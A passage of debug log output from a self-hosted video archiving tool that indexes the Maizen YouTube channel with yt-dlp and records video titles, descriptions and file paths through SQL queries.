He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "40a260b1-10c0-46da-954b-a5083c98aa8c", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 02:05:48Z], ~U[2026-08-20 02:05:48Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 19:05:48.149 [debug] QUERY OK source="sources" db=0.2ms idle=87.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:48.149 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:48.150 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [81994] 19:05:48.150 [debug] Current batch of media processed. Will check again in 1000ms 19:05:49.151 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 955, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", "id" => "5bH1T7ZwmjA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "playlist_index" => 17, "timestamp" => 1778643903, "title" => "MUTANT Speedrunners VS Hunter in Minecraft", "upload_date" => "20260513"} 19:05:49.152 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:49.152 [debug] QUERY OK source="sources" db=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:49.154 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 19:05:49.155 [debug] QUERY OK source="media_items" db=0.6ms idle=1004.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "68914c06-4b63-4ff6-b569-ebb0b5b0d9d9", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 02:05:49Z], ~U[2026-08-20 02:05:49Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 19:05:49.155 [debug] QUERY OK source="sources" db=0.1ms idle=93.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:49.155 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:05:49.156 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [69843] 19:05:49.156 [debug] Current batch of media processed. Will check again in 1000ms 19:05:50.157 [debug] Current batch of media processed. Will check again in 1000ms 19:05:50.384 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/33/f9/33f9f2ac9f16ebe46d29d3677f987faa0edc62c1dcdf920e974107b6884a49f6.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ea/49/ea496fbb7c0b76536bf44e99a9bd86bc1dcde821add4e2d3062e7579a2fcd52b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 19:05:50.384 [debug] Gracefully stopping file follower 19:05:50.385 [debug] QUERY OK source="sources" db=0.2ms idle=1229.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 19:05:50.385 [debug] QUERY OK source="sources" db=0.1ms idle=1229.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.386 [debug] QUERY OK source="media_items" db=1.3ms idle=1229.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 19:05:50.387 [debug] QUERY OK source="media_items" db=0.6ms idle=1230.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "12ea9748-2bd8-4c2e-a446-5f182161b72b", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 19:05:50.388 [debug] QUERY OK source="sources" db=0.3ms idle=323.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.389 [debug] QUERY OK source="media_items" db=1.3ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 19:05:50.391 [debug] QUERY OK source="media_items" db=0.7ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "f2170547-a40c-48ae-bb6a-fab785fd3b2f", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 19:05:50.391 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.393 [debug] QUERY OK source="media_items" db=1.3ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 19:05:50.394 [debug] QUERY OK source="media_items" db=0.7ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "e0645e3e-2108-4197-b999-0d76d18d921f", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 19:05:50.394 [debug] QUERY OK source="sources" db=0.3ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.396 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 19:05:50.396 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "ea804fb6-f9e1-4182-a06a-3432dca24f32", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 19:05:50.397 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.398 [debug] QUERY OK source="media_items" db=1.2ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 19:05:50.400 [debug] QUERY OK source="media_items" db=1.3ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "5269fe0c-ba6f-4996-84c3-baba20bbe74f", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 19:05:50.400 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.402 [debug] QUERY OK source="media_items" db=1.2ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 19:05:50.403 [debug] QUERY OK source="media_items" db=0.6ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "1ae57e9a-5543-4c81-bbfa-7e87144f70f4", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 19:05:50.403 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", 